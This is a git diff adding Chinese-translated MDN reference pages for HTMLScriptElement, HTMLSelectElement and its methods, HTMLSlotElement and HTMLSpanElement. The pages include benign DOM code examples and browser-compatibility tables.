event{{obsolete_inline}}{{domxref("DOMString")}}HTML DOM事件允许JavaScript注册不同的事件处理程序的元素在一个HTML文档。
charset{{domxref("DOMString")}}代表外部脚本资源的字符编码。它反映了{{htmlattrxref("charset","script")}} 属性。
async{{domxref("Boolean")}} +

async和defer属性值为bool,它用来说明script脚本应该如何执行。在没有src属性的情况下,async和defer属性可以不指定值。

+ +

使用该属性有三种模式可供选择,如果async属性存在,脚本将异步执行,只要它是可用的,如果async属性不存在,而defer属性存在,脚本将会在页面完成解析后执行,如果都不存在,那么脚本会在useragent解析页面之前被取出并立刻执行。

+ +
注意:这些属性的处理细节,主要是历史原因,有些重要的,涉及很多方面的HTML。因此实现需求的必要性分散在规范。这些描述这个处理的核心算法,但这些算法参考和引用的解析规则{ HTMLElement("脚本")} { }开始和结束标记在HTML中,在国外内容,并在XML中,规则的document . write()方法,处理脚本等。
+ +

延迟属性可以指定即使指定异步属性,导致遗留Web浏览器只支持推迟(而不是异步)回落推迟行为而不是同步阻塞是默认的行为。

+
defer{{domxref("Boolean")}}
crossOrigin {{experimental_inline}}{{domxref("DOMString")}}是一个{{domxref("DOMString")}},对应于歌珥设置这个脚本元素。有关详细信息,请参阅歌珥设置属性。这对脚本控制,从其他来源,获得错误信息是否会被暴露出来。
text{{domxref("DOMString")}} +

IDL属性内容的文本必须返回一个连接的所有文本节点的孩子{{HTMLElement("script")}}元素(忽略任何其他节点如评论或元素),在树的顺序。设置,它必须采取行动一样textContent IDL属性。

+ +
注意:当插入使用document . write()方法,{ { HTMLElement("脚本")} }元素执行(通常是同步),但当插入使用innerHTML和outerHTML属性,他们不执行。
+
+ +

Methods

+ +

没有具体的方法;属性从其父类继承, {{domxref("HTMLElement")}}。

+ +

例子

+ +

动态导入脚本

+ +

让我们创建一个名为importScript的函数,它能够在一个文档中导入新的脚本,创建一个{{HTMLElement("script")}} 节点,并立即插入到宿主{{HTMLElement("script")}} 之前 (通过 {{domxref("document.currentScript")}} 可以获取宿主script标签)。这些脚本将异步执行。更多细节,请参见defer和async属性。

+ +
function loadError (oError) {
+  throw new URIError("The script " + oError.target.src + " is not accessible.");
+}
+
+function importScript (sSrc, fOnload) {
+  var oScript = document.createElement("script");
+  oScript.type = "text\/javascript";
+  oScript.onerror = loadError;
+  if (fOnload) { oScript.onload = fOnload; }
+  document.currentScript.parentNode.insertBefore(oScript, document.currentScript);
+  oScript.src = sSrc;
+}
+ +

…the same thing, but appending the new scripts as last childs of the {{ HTMLElement("head") }} tag, instead of appending them immediately before the {{domxref("document.currentScript")}} element:

+ +

与上面大致相同,但有一点不同的是 新创建的script标签插入到了{{HTMLElement("head")}}标签的的最后,而不是插入到了{{domxref("document.currentScript")}}元素之前:

+ +
var importScript = (function (oHead) {
+
+  function loadError (oError) {
+    throw new URIError("The script " + oError.target.src + " is not accessible.");
+  }
+
+  return function (sSrc, fOnload) {
+    var oScript = document.createElement("script");
+    oScript.type = "text\/javascript";
+    oScript.onerror = loadError;
+    if (fOnload) { oScript.onload = fOnload; }
+    oHead.appendChild(oScript);
+    oScript.src = sSrc;
+  }
+
+})(document.head || document.getElementsByTagName("head")[0]);
+
+ +

示例用法:

+ +
importScript("myScript1.js");
+importScript("myScript2.js", /* onload function: */ function () { alert("You read this alert because the script \"myScript2.js\" has been correctly loaded."); });
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "scripting-1.html#the-script-element", "HTMLScriptElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5.1', "scripting-1.html#the-script-element", "HTMLScriptElement")}}{{Spec2('HTML5.1')}} 
{{SpecName('HTML5 W3C', "scripting-1.html#the-script-element", "HTMLScriptElement")}}{{Spec2('HTML5 W3C')}}The following properties are now obsolete: htmlFor,.
{{SpecName('DOM2 HTML', 'html.html#ID-81598695', 'HTMLScriptElement')}}{{Spec2('DOM2 HTML')}}No change from {{SpecName("DOM1")}}.
{{SpecName('DOM1', 'level-one-html.html#ID-81598695', 'HTMLScriptElement')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support1.0{{CompatGeckoDesktop("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
async{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.2")}}10{{CompatNo}}{{CompatVersionUnknown}}
defer{{CompatVersionUnknown}}{{CompatGeckoDesktop("1.9.1")}} +

4 (follows a spec of its own)

+ +

10 (by the spec)

+
{{CompatNo}}{{CompatVersionUnknown}}
crossOrigin {{experimental_inline}}{{WebKitBug(81438)}}{{CompatGeckoDesktop("13")}} {{bug(696301)}}{{CompatNo}}{{CompatNo}}{{WebKitBug(81438)}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}
async{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
defer{{CompatVersionUnknown}}{{CompatGeckoMobile("1.0")}}{{CompatNo}}{{CompatUnknown}}{{CompatVersionUnknown}}
crossOrigin {{experimental_inline}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

Gecko-specific notes

+ +

  从Gecko2.0 { { geckoRelease(" 2.0 ")} },插入脚本创建的元素通过调用document.createElement(“脚本”)到DOM不再强制执行插入顺序。这种变化让Gecko正确遵守HTML5规范。让script-inserted外部脚本执行的插入顺序,设置异步属性为false。
+   

+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlselectelement/add/index.html b/files/zh-cn/web/api/htmlselectelement/add/index.html new file mode 100644 index 0000000000..dfd9dbcb54 --- /dev/null +++ b/files/zh-cn/web/api/htmlselectelement/add/index.html @@ -0,0 +1,168 @@ +--- +title: HTMLSelectElement.add() +slug: Web/API/HTMLSelectElement/add +tags: + - API + - HTML DOM + - HTMLSelectElement + - 参考 + - 方法 +translation_of: Web/API/HTMLSelectElement/add +--- +

{{APIRef("HTML DOM")}}

+ +

HTMLSelectElement.add() 方法用于向 select 元素的 option 元素集合中添加一个元素。

+ +

语法

+ +
collection.add(item[, before]);
+
+ +

参数

+ + + +

异常

+ + + +

示例

+ +

从零开始创建元素

+ +
var sel = document.createElement("select");
+var opt1 = document.createElement("option");
+var opt2 = document.createElement("option");
+
+opt1.value = "1";
+opt1.text = "Option: Value 1";
+
+opt2.value = "2";
+opt2.text = "Option: Value 2";
+
+sel.add(opt1, null);
+sel.add(opt2, null);
+
+/*
+  概念上与下述代码相同:
+
+  <select>
+    <option value="1">Option: Value 1</option>
+    <option value="2">Option: Value 2</option>
+  </select>
+*/
+ +

before 参数是可选的,因此也可以这样写:

+ +
...
+sel.add(opt1);
+sel.add(opt2);
+...
+
+ +

添加到已存在集合的末尾

+ +
var sel = document.getElementById("existingList");
+
+var opt = document.createElement("option");
+opt.value = "3";
+opt.text = "Option: Value 3";
+
+sel.add(opt, null);
+
+/*
+  获取这个已存在的 select 对象:
+
+  <select id="existingList">
+    <option value="1">Option: Value 1</option>
+    <option value="2">Option: Value 2</option>
+  </select>
+
+  将其变成这样:
+
+  <select id="existingList">
+    <option value="1">Option: Value 1</option>
+    <option value="2">Option: Value 2</option>
+    <option value="3">Option: Value 3</option>
+  </select>
+*/
+
+ +

同样,before 参数是可选的,因此也可以这样写:

+ +
...
+sel.add(opt);
+...
+
+ +

插入到已存在的集合中间

+ +
var sel = document.getElementById("existingList");
+
+var opt = document.createElement("option");
+opt.value = "3";
+opt.text = "Option: Value 3";
+
+sel.add(opt, sel.options[1]);
+
+/*
+  获取这个已存在的 select 对象:
+
+  <select id="existingList">
+    <option value="1">Option: Value 1</option>
+    <option value="2">Option: Value 2</option>
+  </select>
+
+  将其变成这样:
+
+  <select id="existingList">
+    <option value="1">Option: Value 1</option>
+    <option value="3">Option: Value 3</option>
+    <option value="2">Option: Value 2</option>
+  </select>
+*/
+
+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', '#dom-select-add', 'HTMLSelectElement.add()')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'forms.html#dom-select-add', 'HTMLSelectElement.add()')}}{{Spec2('HTML5 W3C')}}{{SpecName("HTML WHATWG")}} 的一个快照(snapshot)。
+ before 的值为 long 类型,且可选。如果传入的 item 是 {{domxref("HTMLSelectElement")}} 的祖先元素,HierarchyRequestError 类型的 {{domxref("DOMError")}} 会被抛出。不传入 before 参数时不再抛出异常。
{{SpecName('DOM2 HTML', 'html.html#ID-14493106', 'HTMLSelectElement.add()')}}{{Spec2('DOM2 HTML')}}如果 before 参数不是这个元素的子代,会抛出 NOT_FOUND_ERR 异常。
{{SpecName('DOM1', 'level-one-html.html#ID-14493106', 'HTMLSelectElement.add()')}}{{Spec2('DOM1')}}初始定义。
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLSelectElement.add")}}

diff --git a/files/zh-cn/web/api/htmlselectelement/checkvalidity/index.html b/files/zh-cn/web/api/htmlselectelement/checkvalidity/index.html new file mode 100644 index 0000000000..c413681dd4 --- /dev/null +++ b/files/zh-cn/web/api/htmlselectelement/checkvalidity/index.html @@ -0,0 +1,98 @@ +--- +title: HTMLSelectElement.checkValidity() +slug: Web/API/HTMLSelectElement/checkValidity +translation_of: Web/API/HTMLSelectElement/checkValidity +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLSelectElement.checkValidity() 会检查元素是否有任何输入约束条件,并且检查值是否符合约束条件. 如果值是不符合约束条件的, 浏览器就会在该元素上触发一个可以撤销的 {{event("invalid")}} 事件,  然后返回 false.

+ +

Syntax

+ +
var result = selectElt.checkValidity();
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-cva-checkvalidity', 'HTMLSelectElement.checkValidity()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName('HTML5 W3C')}}.
{{SpecName('HTML5 W3C', 'forms.html#dom-cva-checkvalidity', 'HTMLSelectElement.checkValidity()')}}{{Spec2('HTML5 W3C')}}Initial definition, snapshot of {{SpecName('HTML WHATWG')}}
+ +

Browser compatibility

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(2.0)}}10{{CompatVersionUnknown}}{{CompatVersionUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(2.0)}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/htmlselectelement/index.html b/files/zh-cn/web/api/htmlselectelement/index.html new file mode 100644 index 0000000000..ee1f8e0bfc --- /dev/null +++ b/files/zh-cn/web/api/htmlselectelement/index.html @@ -0,0 +1,168 @@ +--- +title: HTMLSelectElement +slug: Web/API/HTMLSelectElement +tags: + - API + - HTML DOM + - HTMLSelectElement + - Select + - 参考 + - 接口 + - 选择 +translation_of: Web/API/HTMLSelectElement +--- +
+

{{APIRef("HTML DOM")}}

+ +

HTMLSelectElement 接口表示一个 {{HTMLElement("select")}} HTML 元素。这个元素也通过 {{domxref("HTMLElement")}} 接口从其他 HTML 元素共享所有属性和方法。

+ +

{{InheritanceDiagram(600, 120)}}

+
+ +

属性

+ +

这个接口从 {{domxref("HTMLElement")}},{{domxref("Element")}} 和 {{domxref("Node")}} 继承属性。

+ +
+
{{domxref("HTMLSelectElement.autofocus")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("autofocus", "select")}} HTML attribute, which indicates whether the control should have input focus when the page loads, unless the user overrides it, for example by typing in a different control. Only one form-associated element in a document can have this attribute specified. {{gecko_minversion_inline("2.0")}}
+
{{domxref("HTMLSelectElement.disabled")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("disabled", "select")}} HTML attribute, which indicates whether the control is disabled. If it is disabled, it does not accept clicks.
+
{{domxref("HTMLSelectElement.form")}}{{ReadOnlyInline}}
+
An {{domxref("HTMLFormElement")}} referencing the form that this element is associated with. If the element is not associated with of a {{HTMLElement("form")}} element, then it returns null.
+
{{domxref("HTMLSelectElement.labels")}}{{ReadOnlyInline}}
+
A {{domxref("NodeList")}} of {{HTMLElement("label")}} elements associated with the element.
+
{{domxref("HTMLSelectElement.length")}}
+
An unsigned long The number of {{HTMLElement("option")}} elements in this select element.
+
{{domxref("HTMLSelectElement.multiple")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("multiple", "select")}} HTML attribute, which indicates whether multiple items can be selected.
+
{{domxref("HTMLSelectElement.name")}}
+
A {{domxref("DOMString")}} reflecting the {{htmlattrxref("name", "select")}} HTML attribute, containing the name of this control used by servers and DOM search functions.
+
{{domxref("HTMLSelectElement.options")}}{{ReadOnlyInline}}
+
An {{domxref("HTMLOptionsCollection")}} representing the set of {{HTMLElement("option")}} ({{domxref("HTMLOptionElement")}}) elements contained by this element.
+
{{domxref("HTMLSelectElement.required")}}
+
A {{jsxref("Boolean")}} reflecting the {{htmlattrxref("required", "select")}} HTML attribute, which indicates whether the user is required to select a value before submitting the form. {{gecko_minversion_inline("2.0")}}
+
{{domxref("HTMLSelectElement.selectedIndex")}}
+
A long reflecting the index of the first selected {{HTMLElement("option")}} element. The value -1 indicates no element is selected.
+
{{domxref("HTMLSelectElement.selectedOptions")}}{{ReadOnlyInline}}
+
An {{domxref("HTMLCollection")}} representing the set of {{HTMLElement("option")}} elements that are selected.
+
{{domxref("HTMLSelectElement.size")}}
+
A long reflecting the {{htmlattrxref("size", "select")}} HTML attribute, which contains the number of visible items in the control. The default is 1, unless multiple is true, in which case it is 4.
+
{{domxref("HTMLSelectElement.type")}}{{ReadOnlyInline}}
+
A {{domxref("DOMString")}} represeting the form control's type. When multiple is true, it returns "select-multiple"; otherwise, it returns "select-one".
+
{{domxref("HTMLSelectElement.validationMessage")}}{{ReadOnlyInline}}
+
A {{domxref("DOMString")}} representing a localized message that describes the validation constraints that the control does not satisfy (if any). This attribute is the empty string if the control is not a candidate for constraint validation (willValidate is false), or it satisfies its constraints.
+
{{domxref("HTMLSelectElement.validity")}}{{ReadOnlyInline}}
+
A {{domxref("ValidityState")}} reflecting the validity state that this control is in.
+
{{domxref("HTMLSelectElement.value")}}
+
A {{domxref("DOMString")}} reflecting the value of the form control. Returns the value property of the first selected option element if there is one, otherwise the empty string.
+
{{domxref("HTMLSelectElement.willValidate")}}{{ReadOnlyInline}}
+
A {{jsxref("Boolean")}} that indicates whether the button is a candidate for constraint validation. It is false if any conditions bar it from constraint validation.
+
+ +

方法

+ +

这个接口从 {{domxref("HTMLElement")}},{{domxref("Element")}} 和 {{domxref("Node")}} 继承属性。

+ +
+
{{domxref("HTMLSelectElement.add()")}}
+
Adds an element to the collection of option elements for this select element.
+
{{domxref("HTMLSelectElement.blur()")}}{{obsolete_inline}}
+
Removes input focus from this element. This method is now implemented on {{domxref("HTMLElement")}}.
+
{{domxref("HTMLSelectElement.checkValidity()")}}
+
Checks whether the element has any constraints and whether it satisfies them. If the element fails its constraints, the browser fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element (and returns false).
+
{{domxref("HTMLSelectElement.focus()")}}{{obsolete_inline}}
+
Gives input focus to this element. This method is now implemented on {{domxref("HTMLElement")}}.
+
{{domxref("HTMLSelectElement.item()")}}
+
Gets an item from the options collection for this {{HTMLElement("select")}} element. You can also access an item by specifying the index in array-style brackets or parentheses, without calling this method explicitly.
+
{{domxref("HTMLSelectElement.namedItem()")}}
+
Gets the item in the options collection with the specified name. The name string can match either the id or the name attribute of an option node. You can also access an item by specifying the name in array-style brackets or parentheses, without calling this method explicitly.
+
{{domxref("HTMLSelectElement.remove()")}}
+
Removes the element at the specified index from the options collection for this select element.
+
{{domxref("HTMLSelectElement.reportValidity()")}}
+
This method reports the problems with the constraints on the element, if any, to the user. If there are problems, it fires a cancelable {{domxref("HTMLInputElement/invalid_event", "invalid")}} event at the element, and returns false; if there are no problems, it returns true.
+
{{domxref("HTMLSelectElement.setCustomValidity()")}}
+
Sets the custom validity message for the selection element to the specified message. Use the empty string to indicate that the element does not have a custom validity error.
+
+ +

事件

+ +

使用 {{domxref("EventTarget/addEventListener", "addEventListener()")}} 或给下面接口的 oneventname 属性分配一个监听程序来监听这些事件:

+ +
+
{{domxref("HTMLElement/input_event", "input")}} 事件
+
当 {{HTMLElement("input")}}, {{HTMLElement("select")}}, 或 {{HTMLElement("textarea")}} 元素的 value 改变时触发该事件。
+
+ +

示例

+ +

Get information about the selected option

+ +
/* assuming we have the following HTML
+<select id='s'>
+    <option>First</option>
+    <option selected>Second</option>
+    <option>Third</option>
+</select>
+*/
+
+var select = document.getElementById('s');
+
+// return the index of the selected option
+console.log(select.selectedIndex); // 1
+
+// return the value of the selected option
+console.log(select.options[select.selectedIndex].value) // Second
+
+ +

A better way to track changes to the user's selection is to watch for the {{domxref("HTMLElement/change_event", "change")}} event to occur on the <select>. This will tell you when the value changes, and you can then update anything you need to. See the example provided in the documentation for the change event for details.

+ +

规范

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', '#htmlselectelement', 'HTMLSelectElement')}}{{Spec2('HTML WHATWG')}}Since the latest snapshot, {{SpecName('HTML5 W3C')}}, it adds the autocomplete property and the reportValidity() method.
{{SpecName('HTML5 W3C', 'forms.html#htmlselectelement', 'HTMLSelectElement')}}{{Spec2('HTML5 W3C')}}Is a snapshot of {{SpecName("HTML WHATWG")}}.
+ It adds the autofocus, form, required, labels, selectedOptions, willValidate, validity and validationMessage properties.
+ The tabindex property and the blur() and focus() methods have been moved to {{domxref("HTMLElement")}}.
+ The methods item(), namedItem(), checkValidity() and setCustomValidity().
{{SpecName('DOM2 HTML', 'html.html#ID-94282980', 'HTMLSelectElement')}}{{Spec2('DOM2 HTML')}}options now returns an {{domxref("HTMLOptionsCollection")}}.
+ length now returns an unsigned long.
{{SpecName('DOM1', 'level-one-html.html#ID-94282980', 'HTMLSelectElement')}}{{Spec2('DOM1')}}Initial definition
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLSelectElement")}}

+ +

参见

+ + diff --git a/files/zh-cn/web/api/htmlselectelement/remove/index.html b/files/zh-cn/web/api/htmlselectelement/remove/index.html new file mode 100644 index 0000000000..6cb7046a6e --- /dev/null +++ b/files/zh-cn/web/api/htmlselectelement/remove/index.html @@ -0,0 +1,94 @@ +--- +title: HTMLSelectElement.remove() +slug: Web/API/HTMLSelectElement/remove +translation_of: Web/API/HTMLSelectElement/remove +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLSelectElement.remove() 方法从一个 select 元素中删除指定序数的 option 元素。没有传参时为删除当前元素本身:ChildNode.remove()

+ +

语法

+ +
collection.remove(index);
+
+ +

参数

+ + + +
+
+ +

例子

+ +
var sel = document.getElementById("existingList");
+sel.remove(1);
+
+/*
+  上面的代码会将下面的 select 元素结构:
+
+  <select id="existingList" name="existingList">
+    <option value="1">Option: Value 1</option>
+    <option value="2">Option: Value 2</option>
+    <option value="3">Option: Value 3</option>
+  </select>
+
+  变成这样:
+
+  <select id="existingList" name="existingList">
+    <option value="1">Option: Value 1</option>
+    <option value="3">Option: Value 3</option>
+  </select>
+*/
+
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-select-remove', 'HTMLSelectElement.remove()')}}{{Spec2('HTML WHATWG')}}
{{SpecName('HTML5 W3C', 'forms.html#dom-select-remove', 'HTMLSelectElement.remove()')}}{{Spec2('HTML5 W3C')}}Is a snapshot of {{SpecName("HTML WHATWG")}}.
{{SpecName('DOM2 HTML', 'html.html#ID-33404570', 'HTMLSelectElement.remove()')}}{{Spec2('DOM2 HTML')}}
{{SpecName('DOM1', 'level-one-html.html#ID-33404570', 'HTMLSelectElement.remove()')}}{{Spec2('DOM1')}}Initial definition.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLSelectElement.remove")}}

+ +

参考

+ + + +

+ +

diff --git a/files/zh-cn/web/api/htmlselectelement/selectedindex/index.html b/files/zh-cn/web/api/htmlselectelement/selectedindex/index.html new file mode 100644 index 0000000000..90217f241b --- /dev/null +++ b/files/zh-cn/web/api/htmlselectelement/selectedindex/index.html @@ -0,0 +1,80 @@ +--- +title: HTMLSelectElement.selectedIndex +slug: Web/API/HTMLSelectElement/selectedIndex +tags: + - API + - HTML DOM + - HTMLSelectElement + - HTML表单 + - 参考 + - 属性 +translation_of: Web/API/HTMLSelectElement/selectedIndex +--- +
{{APIRef("HTML DOM")}}
+ +

HTMLSelectElement.selectedIndex 是一个长整型数,它反映了被选中的第一个 {{HTMLElement("option")}} 元素的索引值。值为-1时表明没有元素被选中。

+ +

语法

+ +
var index = selectElem.selectedIndex;
+selectElem.selectedIndex = index;
+
+ +

示例

+ +

HTML

+ +
<p id="p">selectedIndex: 0</p>
+
+<select id="select">
+  <option selected>Option A</option>
+  <option>Option B</option>
+  <option>Option C</option>
+  <option>Option D</option>
+  <option>Option E</option>
+</select>
+
+ +

JavaScript

+ +
var selectElem = document.getElementById('select')
+var pElem = document.getElementById('p')
+
+// 当有新的<option>元素被选中时
+selectElem.addEventListener('change', function() {
+  var index = selectElem.selectedIndex;
+  // 把index数据添加到p元素中
+  pElem.innerHTML = 'selectedIndex: ' + index;
+})
+ +

+ +

规范

+ + + + + + + + + + + + + + + + + + + +
规范状态注释
{{SpecName('HTML WHATWG', '#dom-select-selectedindex', 'HTMLSelectElement')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', 'forms.html#dom-select-selectedindex', 'HTMLSelectElement')}}{{Spec2('HTML5 W3C')}}Initial definition, snapshot of {{SpecName("HTML WHATWG")}}.
+ +

浏览器兼容性

+ +

{{Compat("api.HTMLSelectElement.selectedIndex")}}

+ +
+ +
diff --git a/files/zh-cn/web/api/htmlselectelement/setcustomvalidity/index.html b/files/zh-cn/web/api/htmlselectelement/setcustomvalidity/index.html new file mode 100644 index 0000000000..52d5de0e15 --- /dev/null +++ b/files/zh-cn/web/api/htmlselectelement/setcustomvalidity/index.html @@ -0,0 +1,110 @@ +--- +title: HTMLSelectElement.setCustomValidity() +slug: Web/API/HTMLSelectElement/setCustomValidity +tags: + - HTMLSelectElement.setCustomValidity() +translation_of: Web/API/HTMLSelectElement/setCustomValidity +--- +
{{ APIRef("HTML DOM") }}
+ +

HTMLSelectElement.setCustomValidity() 方法设置指定的验证消息为选择元素的自定义验证消息。

+ +

使用空字符串来表示该元素没有自定义的验证错误。

+ +

语法

+ +
selectElt.setCustomValidity(string);
+ +

Parameters

+ + + +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', '#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}{{Spec2('HTML WHATWG')}}No change since the latest snapshot, {{SpecName('HTML5 W3C')}}.
{{SpecName('HTML5 W3C', 'forms.html#dom-cva-setcustomvalidity', 'HTMLSelectElement.setCustomValidity()')}}{{Spec2('HTML5 W3C')}}Initial definition, snapshot of {{SpecName('HTML WHATWG')}}
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + + + + + +
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaEdgeSafari (WebKit)
Basic support{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(2.0)}}{{CompatVersionUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChromeEdgeFirefox Mobile (Gecko)Firefox OSIE PhoneOpera MobileSafari Mobile
Basic support{{CompatUnknown}}{{CompatUnknown}}{{CompatVersionUnknown}}{{CompatGeckoMobile(2.0)}}1.0{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +

查看更多

+ + diff --git a/files/zh-cn/web/api/htmlslotelement/index.html b/files/zh-cn/web/api/htmlslotelement/index.html new file mode 100644 index 0000000000..6393babe39 --- /dev/null +++ b/files/zh-cn/web/api/htmlslotelement/index.html @@ -0,0 +1,103 @@ +--- +title: HTMLSlotElement +slug: Web/API/HTMLSlotElement +translation_of: Web/API/HTMLSlotElement +--- +

{{SeeCompatTable}}{{APIRef('Web Components')}}

+ +

Shadow DOM API 的接口HTMLSlotElement使其能够访问到HTML元素<slot>的名字和分配的节点

+ +

+

属性

+

+ +
+
{{domxref('HTMLSlotElement.name')}}
+
{{domxref("DOMString")}}: 可以用来设置和获取slot的名字
+
+ +

方法

+ +
+
{{domxref('HTMLSlotElement.assignedNodes()')}}
+
Returns the sequence of elements assigned to this slot, or alternatively the slot's fallback content.
+
+

规范

+
+
+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG','scripting.html#htmlslotelement','HTMLSlotElement')}}{{Spec2('HTML WHATWG')}} 
{{SpecName('Shadow DOM','#the-slot-element','HTMLSlotElement')}}{{Spec2('Shadow DOM')}}Initial definition
+ +

浏览器的兼容性

+ +

{{CompatibilityTable}}

+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(53.0)}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatNo}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(53.0)}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(53.0)}}
+
diff --git a/files/zh-cn/web/api/htmlslotelement/name/index.html b/files/zh-cn/web/api/htmlslotelement/name/index.html new file mode 100644 index 0000000000..b00202e056 --- /dev/null +++ b/files/zh-cn/web/api/htmlslotelement/name/index.html @@ -0,0 +1,63 @@ +--- +title: HTMLSlotElement.name +slug: Web/API/HTMLSlotElement/name +tags: + - name + - 名称 + - 属性 + - 影子DOM + - 插槽 +translation_of: Web/API/HTMLSlotElement/name +--- +

{{APIRef("Shadow DOM API")}}

+ +

 元素{{domxref("HTMLSlotElement")}}的name属性, 可以获取和设置属性值. 插槽提供了web组件的摆放位置,辅助用户布局。

+ +

语法

+ +
var name = htmlSlotElement.name
+htmlSlotElement.name = name
+
+ +

+ +

一个 {{domxref('DOMString')}}.

+ +

例子

+ +

下面的片段来自 slotchange example (see it live also).

+ +
let slots = this.shadowRoot.querySelectorAll('slot');
+slots[1].addEventListener('slotchange', function(e) {
+  let nodes = slots[1].assignedNodes();
+  console.log('Element in Slot "' + slots[1].name + '" changed to "' + nodes[0].outerHTML + '".');
+});
+ +

这里我们获取所有插槽的引用, 然后给模板里的第二个插槽增加事件— 跟踪内容变化.

+ +

每当附加在插槽中的内容变化, 我们都记录插槽相关的内容.

+ +

规格

+ + + + + + + + + + + + + + +
规格状态注释
{{SpecName('HTML WHATWG','#dom-slot-name','name')}}{{Spec2('HTML WHATWG')}} 
+ +

浏览器兼容性

+ +
+ + +

{{Compat("api.HTMLSlotElement.name")}}

+
diff --git a/files/zh-cn/web/api/htmlspanelement/index.html b/files/zh-cn/web/api/htmlspanelement/index.html new file mode 100644 index 0000000000..2b23419712 --- /dev/null +++ b/files/zh-cn/web/api/htmlspanelement/index.html @@ -0,0 +1,61 @@ +--- +title: HTMLSpanElement +slug: Web/API/HTMLSpanElement +tags: + - API + - DOM + - Interface + - Reference +translation_of: Web/API/HTMLSpanElement +--- +
+
{{APIRef("HTML DOM")}}
+
+ +

The HTMLSpanElement interface represents a {{HTMLElement("span")}} element and derives from the {{ domxref("HTMLElement") }} interface, but without implementing any additional properties or methods.

+ +

{{InheritanceDiagram(600, 120)}}

+ +

属性

+ +

无特定属性;从其父元素{{domxref("HTMLElement")}}继承属性。

+ +

方法

+ +

无特定方法;从其父元素{{domxref("HTMLElement")}}继承方法。

+ +

说明

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('HTML WHATWG', "text-level-semantics.html#the-span-element", "HTMLSpanElement")}}{{Spec2('HTML WHATWG')}}No change from {{SpecName("HTML5 W3C")}}.
{{SpecName('HTML5 W3C', "text-level-semantics.html#the-span-element", "HTMLSpanElement")}}{{Spec2('HTML5 W3C')}}Initial definition, as {{HTMLElement("span")}} was associated with an {{domxref("HTMLElement")}} before that.
+ +

浏览器兼容性

+ + + +

{{Compat("api.HTMLSpanElement")}}

+ +

